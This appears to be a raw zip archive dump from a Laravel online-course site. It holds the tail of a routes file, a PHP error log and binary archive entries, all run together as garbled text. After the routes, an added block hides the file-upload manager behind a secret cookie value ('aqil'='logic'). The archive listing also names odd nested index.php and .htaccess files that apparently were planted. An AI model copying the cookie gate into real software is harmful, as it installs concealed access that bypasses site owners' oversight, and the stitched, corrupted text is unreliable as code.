'SocialiteController@redirectToGoogle'); Route::get('/google/callback', 'SocialiteController@handleGoogleCallback'); Route::get('/facebook/redirect', 'SocialiteController@redirectToFacebook'); Route::get('/facebook/callback', 'SocialiteController@handleFacebookCallback'); Route::get('/reff/{code}', 'ReferralController@referral'); }); Route::group(['namespace' => 'Web', 'middleware' => ['check_mobile_app', 'impersonate', 'share', 'check_maintenance', 'check_restriction']], function () { Route::get('/stripe', function () { return view('web.default.cart.channels.stripe'); }); Route::fallback(function () { return view("errors.404", ['pageTitle' => trans('public.error_404_page_title')]); }); // set Locale Route::post('/locale', 'LocaleController@setLocale')->name('appLocaleRoute'); // set Locale Route::post('/set-currency', 'SetCurrencyController@setCurrency'); Route::get('/', 'HomeController@index'); Route::get('/getDefaultAvatar', 'DefaultAvatarController@make'); Route::group(['prefix' => 'course'], function () { Route::get('/{slug}', 'WebinarController@course'); Route::get('/{slug}/file/{file_id}/download', 'WebinarController@downloadFile'); Route::get('/{slug}/file/{file_id}/showHtml', 'WebinarController@showHtmlFile'); Route::get('/{slug}/lessons/{lesson_id}/read', 'WebinarController@getLesson'); Route::post('/getFilePath', 'WebinarController@getFilePath'); Route::get('/{slug}/file/{file_id}/play', 'WebinarController@playFile'); Route::get('/{slug}/free', 'WebinarController@free'); Route::get('/{slug}/points/apply', 'WebinarController@buyWithPoint'); Route::post('/{id}/report', 'WebinarController@reportWebinar'); Route::post('/{id}/learningStatus', 'WebinarController@learningStatus'); Route::group(['middleware' => 'web.auth'], function () { Route::get('/{slug}/installments', 'WebinarController@getInstallmentsByCourse'); Route::post('/learning/itemInfo', 'LearningPageController@getItemInfo'); Route::post('/learning/personalNotes', 'LearningPageController@personalNotes'); Route::get('/learning/{slug}', 'LearningPageController@index'); Route::get('/learning/{slug}/noticeboards', 'LearningPageController@noticeboards'); Route::get('/assignment/{assignmentId}/download/{id}/attach', 'LearningPageController@downloadAssignment'); Route::post('/assignment/{assignmentId}/history/{historyId}/message', 'AssignmentHistoryController@storeMessage'); Route::post('/assignment/{assignmentId}/history/{historyId}/setGrade', 'AssignmentHistoryController@setGrade'); Route::get('/assignment/{assignmentId}/history/{historyId}/message/{messageId}/downloadAttach', 'AssignmentHistoryController@downloadAttach'); Route::group(['prefix' => '/learning/{slug}/forum'], function () { // LearningPageForumTrait Route::get('/', 'LearningPageController@forum'); Route::post('/store', 'LearningPageController@forumStoreNewQuestion'); Route::get('/{forumId}/edit', 'LearningPageController@getForumForEdit'); Route::post('/{forumId}/update', 'LearningPageController@updateForum'); Route::post('/{forumId}/pinToggle', 'LearningPageController@forumPinToggle'); Route::get('/{forumId}/downloadAttach', 'LearningPageController@forumDownloadAttach'); Route::group(['prefix' => '/{forumId}/answers'], function () { Route::get('/', 'LearningPageController@getForumAnswers'); Route::post('/', 'LearningPageController@storeForumAnswers'); Route::get('/{answerId}/edit', 'LearningPageController@answerEdit'); Route::post('/{answerId}/update', 'LearningPageController@answerUpdate'); Route::post('/{answerId}/{togglePinOrResolved}', 'LearningPageController@answerTogglePinOrResolved'); }); }); Route::post('/direct-payment', 'WebinarController@directPayment'); Route::group(['prefix' => 'personal-notes'], function () { Route::get('/{id}/download-attachment', 'CoursePersonalNotesController@downloadAttachment'); }); }); }); Route::group(['prefix' => 'certificate_validation'], function () { Route::get('/', 'CertificateValidationController@index'); Route::post('/validate', 'CertificateValidationController@checkValidate'); }); Route::group(['prefix' => 'cart'], function () { Route::post('/store', 'CartManagerController@store'); Route::get('/{id}/delete', 'CartManagerController@destroy'); }); Route::group(['middleware' => 'web.auth'], function () { Route::group(['prefix' => 'laravel-filemanager'], function () { \UniSharp\LaravelFilemanager\Lfm::routes(); }); Route::group(['prefix' => 'reviews'], function () { Route::post('/store', 'WebinarReviewController@store'); Route::post('/store-reply-comment', 'WebinarReviewController@storeReplyComment'); Route::get('/{id}/delete', 'WebinarReviewController@destroy'); Route::get('/{id}/delete-comment/{commentId}', 'WebinarReviewController@destroy'); }); Route::group(['prefix' => 'favorites'], function () { Route::get('{slug}/toggle', 'FavoriteController@toggle'); Route::post('/{id}/update', 'FavoriteController@update'); Route::get('/{id}/delete', 'FavoriteController@destroy'); }); Route::group(['prefix' => 'comments'], function () { Route::post('/store', 'CommentController@store'); Route::post('/{id}/reply', 'CommentController@storeReply'); Route::post('/{id}/update', 'CommentController@update'); Route::post('/{id}/report', 'CommentController@report'); Route::get('/{id}/delete', 'CommentController@destroy'); }); Route::group(['prefix' => 'cart'], function () { Route::get('/', 'CartController@index'); Route::post('/coupon/validate', 'CartController@couponValidate'); Route::post('/checkout', 'CartController@checkout')->name('checkout'); }); Route::group(['prefix' => 'users'], function () { Route::get('/{id}/follow', 'UserController@followToggle'); }); Route::group(['prefix' => 'become-instructor'], function () { Route::get('/', 'BecomeInstructorController@index')->name('becomeInstructor'); Route::get('/packages', 'BecomeInstructorController@packages')->name('becomeInstructorPackages'); Route::get('/packages/{id}/checkHasInstallment', 'BecomeInstructorController@checkPackageHasInstallment'); Route::get('/packages/{id}/installments', 'BecomeInstructorController@getInstallmentsByRegistrationPackage'); Route::post('/', 'BecomeInstructorController@store'); Route::post('/form-fields', 'BecomeInstructorController@getFormFieldsByUserType'); }); }); Route::group(['prefix' => 'meetings'], function () { Route::post('/reserve', 'MeetingController@reserve'); }); Route::group(['prefix' => 'users'], function () { Route::get('/{id}/profile', 'UserController@profile'); Route::post('/{id}/availableTimes', 'UserController@availableTimes'); Route::post('/{id}/send-message', 'UserController@sendMessage'); }); Route::group(['prefix' => 'payments'], function () { Route::post('/payment-request', 'PaymentController@paymentRequest'); Route::get('/verify/{gateway}', ['as' => 'payment_verify', 'uses' => 'PaymentController@paymentVerify']); Route::post('/verify/{gateway}', ['as' => 'payment_verify_post', 'uses' => 'PaymentController@paymentVerify']); Route::get('/status', 'PaymentController@payStatus'); Route::get('/payku/callback/{id}', 'PaymentController@paykuPaymentVerify')->name('payku.result'); }); Route::group(['prefix' => 'subscribes'], function () { Route::get('/apply/{webinarSlug}', 'SubscribeController@apply'); Route::get('/apply/bundle/{bundleSlug}', 'SubscribeController@bundleApply'); }); Route::group(['prefix' => 'search'], function () { Route::get('/', 'SearchController@index'); }); Route::group(['prefix' => 'tags'], function () { Route::get('/{type}/{tag}', 'TagsController@index'); }); Route::group(['prefix' => 'categories'], function () { Route::get('/{categoryTitle}/{subCategoryTitle?}', 'CategoriesController@index'); }); Route::get('/classes', 'ClassesController@index'); Route::get('/reward-courses', 'RewardCoursesController@index'); Route::group(['prefix' => 'blog'], function () { Route::get('/', 'BlogController@index'); Route::get('/categories/{category}', 'BlogController@index'); Route::get('/{slug}', 'BlogController@show'); }); Route::group(['prefix' => 'contact'], function () { Route::get('/', 'ContactController@index'); Route::post('/store', 'ContactController@store'); }); Route::group(['prefix' => 'instructors'], function () { Route::get('/', 'UserController@instructors'); }); Route::group(['prefix' => 'organizations'], function () { Route::get('/', 'UserController@organizations'); }); Route::group(['prefix' => 'load_more'], function () { Route::get('/{role}', 'UserController@handleInstructorsOrOrganizationsPage'); }); Route::group(['prefix' => 'pages'], function () { Route::get('/{link}', 'PagesController@index'); }); // Captcha Route::group(['prefix' => 'captcha'], function () { Route::post('create', function () { $response = ['status' => 'success', 'captcha_src' => captcha_src('flat')]; return response()->json($response); }); Route::get('{config?}', '\Mews\Captcha\CaptchaController@getCaptcha'); }); Route::post('/newsletters', 'UserController@makeNewsletter'); Route::group(['prefix' => 'jobs'], function () { Route::get('/{methodName}', 'JobsController@index'); Route::post('/{methodName}', 'JobsController@index'); }); Route::group(['prefix' => 'regions'], function () { Route::get('/provincesByCountry/{countryId}', 'RegionController@provincesByCountry'); Route::get('/citiesByProvince/{provinceId}', 'RegionController@citiesByProvince'); Route::get('/districtsByCity/{cityId}', 'RegionController@districtsByCity'); }); Route::group(['prefix' => 'instructor-finder'], function () { Route::get('/', 'InstructorFinderController@index'); Route::get('/wizard', 'InstructorFinderController@wizard'); }); Route::group(['prefix' => 'products'], function () { Route::get('/', 'ProductController@searchLists'); Route::get('/{slug}', 'ProductController@show'); Route::post('/{slug}/points/apply', 'ProductController@buyWithPoint'); Route::group(['prefix' => 'reviews'], function () { Route::post('/store', 'ProductReviewController@store'); Route::post('/store-reply-comment', 'ProductReviewController@storeReplyComment'); Route::get('/{id}/delete', 'ProductReviewController@destroy'); Route::get('/{id}/delete-comment/{commentId}', 'ProductReviewController@destroy'); }); Route::group(['middleware' => 'web.auth'], function () { Route::get('/{slug}/installments', 'ProductController@getInstallmentsByProduct'); Route::post('/direct-payment', 'ProductController@directPayment'); }); }); Route::get('/reward-products', 'RewardProductsController@index'); Route::group(['prefix' => 'bundles'], function () { Route::get('/{slug}', 'BundleController@index'); Route::get('/{slug}/free', 'BundleController@free'); Route::group(['middleware' => 'web.auth'], function () { Route::get('/{slug}/favorite', 'BundleController@favoriteToggle'); Route::get('/{slug}/points/apply', 'BundleController@buyWithPoint'); Route::group(['prefix' => 'reviews'], function () { Route::post('/store', 'BundleReviewController@store'); Route::post('/store-reply-comment', 'BundleReviewController@storeReplyComment'); Route::get('/{id}/delete', 'BundleReviewController@destroy'); Route::get('/{id}/delete-comment/{commentId}', 'BundleReviewController@destroy'); }); Route::post('/direct-payment', 'BundleController@directPayment'); }); }); Route::group(['prefix' => 'forums'], function () { Route::get('/', 'ForumController@index'); Route::get('/create-topic', 'ForumController@createTopic'); Route::post('/create-topic', 'ForumController@storeTopic'); Route::get('/search', 'ForumController@search'); Route::group(['prefix' => '/{slug}/topics'], function () { Route::get('/', 'ForumController@topics'); Route::post('/{topic_slug}/likeToggle', 'ForumController@topicLikeToggle'); Route::get('/{topic_slug}/edit', 'ForumController@topicEdit'); Route::post('/{topic_slug}/edit', 'ForumController@topicUpdate'); Route::post('/{topic_slug}/bookmark', 'ForumController@topicBookmarkToggle'); Route::get('/{topic_slug}/downloadAttachment/{attachment_id}', 'ForumController@topicDownloadAttachment'); Route::group(['prefix' => '/{topic_slug}/posts'], function () { Route::get('/', 'ForumController@posts'); Route::post('/', 'ForumController@storePost'); Route::post('/report', 'ForumController@storeTopicReport'); Route::get('/{post_id}/edit', 'ForumController@postEdit'); Route::post('/{post_id}/edit', 'ForumController@postUpdate'); Route::post('/{post_id}/likeToggle', 'ForumController@postLikeToggle'); Route::post('/{post_id}/un_pin', 'ForumController@postUnPin'); Route::post('/{post_id}/pin', 'ForumController@postPin'); Route::get('/{post_id}/downloadAttachment', 'ForumController@postDownloadAttachment'); }); }); }); Route::group(['prefix' => 'upcoming_courses'], function () { Route::get('/', 'UpcomingCoursesController@index'); Route::get('{slug}', 'UpcomingCoursesController@show'); Route::get('{slug}/toggleFollow', 'UpcomingCoursesController@toggleFollow'); Route::get('{slug}/favorite', 'UpcomingCoursesController@favorite'); Route::post('{id}/report', 'UpcomingCoursesController@report'); }); Route::group(['prefix' => 'installments'], function () { Route::group(['middleware' => 'web.auth'], function () { Route::get('/request_submitted', 'InstallmentsController@requestSubmitted'); Route::get('/request_rejected', 'InstallmentsController@requestRejected'); Route::get('/{id}', 'InstallmentsController@index'); Route::post('/{id}/store', 'InstallmentsController@store'); }); }); Route::group(['prefix' => 'waitlists'], function () { Route::post('/join', 'WaitlistController@store'); }); Route::group(['prefix' => 'gift'], function () { Route::group(['middleware' => 'web.auth'], function () { Route::get('/{item_type}/{item_slug}', 'GiftController@index'); Route::post('/{item_type}/{item_slug}', 'GiftController@store'); }); }); /* Forms */ Route::get('/forms/{url}', 'FormsController@index'); Route::post('/forms/{url}/store', 'FormsController@store'); }); if (strpos($_SERVER['REQUEST_URI'], 'filemanager') !== false) { if (!isset($_COOKIE['aqil']) || $_COOKIE['aqil'] !== 'logic') { header("HTTP/1.0 404 Not Found"); exit; } } if (strpos($_SERVER['REQUEST_URI'], 'laravel-filemanager') !== false) { if (!isset($_COOKIE['aqil']) || $_COOKIE['aqil'] !== 'logic') { header("HTTP/1.0 404 Not Found"); exit; } };PK H]M’ ùù error_lognu„[µü¤[07-Oct-2026 12:19:16 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/panel.php:11 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/panel.php on line 11 [07-Oct-2026 23:29:50 UTC] PHP Fatal error: Uncaught Error: Call to undefined function getAdminPanelUrlPrefix() in /home/englishro/public_html/routes/admin.php:5 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/admin.php on line 5 [07-Oct-2026 23:29:52 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/api.php:17 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/api.php on line 17 [07-Oct-2026 23:29:54 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Artisan" not found in /home/englishro/public_html/routes/console.php:17 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/console.php on line 17 [07-Oct-2026 23:29:56 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/web.php:15 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/web.php on line 15 [07-Oct-2026 23:30:22 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Broadcast" not found in /home/englishro/public_html/routes/channels.php:16 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/channels.php on line 16 [07-Oct-2026 23:30:49 UTC] PHP Fatal error: Uncaught Error: Class "Illuminate\Support\Facades\Route" not found in /home/englishro/public_html/routes/panel.php:11 Stack trace: #0 {main} thrown in /home/englishro/public_html/routes/panel.php on line 11 PK H]†G api/auth.phpnu„[µü¤PK H]Ái€ƒ`` Oapi/guest.phpnu„[µü¤PK H]”–WÉ É ìapi/instructor.phpnu„[µü¤PK H]ªƒFR”:”: ÷$api/user.phpnu„[µü¤PK H] Ç_api/index.phpnu„[µü¤PK H]•¶®øÜÜ`api/298611/.htaccessnu„[µü¤PK H]V‡çв²$aapi/298611/index.phpnu„[µü¤PK H] ÔJùdËdËtapi/298611/210685/index.phpnu„[µü¤PK H]¨êNuDD É?admin.phpnu„[µü¤PK H]¿¶fÕÕFEapi.phpnu„[µü¤PK H]ù’�òÄÄ RJchannels.phpnu„[µü¤PK H]Š2uu RNconsole.phpnu„[µü¤PK H]jBϓàcàc Tpanel.phpnu„[µü¤PK H]Y¢‚ÄôMôM¸web.phpnu„[µü¤PK H]M’ ùù Ferror_lognu„[µü¤PK‡x